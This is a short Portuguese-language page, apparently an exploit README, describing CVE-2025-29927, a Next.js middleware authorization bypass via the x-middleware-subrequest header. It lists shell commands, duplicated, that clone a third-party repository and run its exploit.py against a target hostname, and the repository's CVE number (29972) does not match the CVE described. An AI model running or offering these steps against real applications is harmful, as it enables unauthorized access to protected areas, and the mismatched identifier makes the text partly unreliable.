
CVE-2025-29927 - Vulnerabilidade de Segurança Crítica no Next.js
CVE-2025-29927 é uma vulnerabilidade crítica de segurança afetando Next.js, um popular framework React para construir aplicações web full-stack. Essa falha permite que atacantes contornem verificações de autorização implementadas no middleware do Next.js, potencialmente concedendo acesso não autorizado a áreas sensíveis de uma aplicação, como páginas de administração ou painéis de usuário.
A vulnerabilidade surge do manuseio inadequado do cabeçalho interno x-middleware-subrequest. Ao criar requisições que incluem esse cabeçalho, um atacante pode contornar as verificações de segurança do middleware, efetivamente pulando mecanismos de autenticação e autorização.
git clone https://github.com/ThemeHackers/CVE-2025-29972
cd CVE-2025-29972
python3 -m venv .venv
source .venv/bin/activate
python3 exploit.py -h
git clone https://github.com/ThemeHackers/CVE-2025-29972
cd CVE-2025-29972
python3 -m venv .venv
source .venv/bin/activate
python3 exploit.py --hostname HOSTNAME
⚠️ Nota: Certifique-se de que suas aplicações Next.js estejam sempre atualizadas para as versões estáveis mais recentes para prevenir riscos de segurança.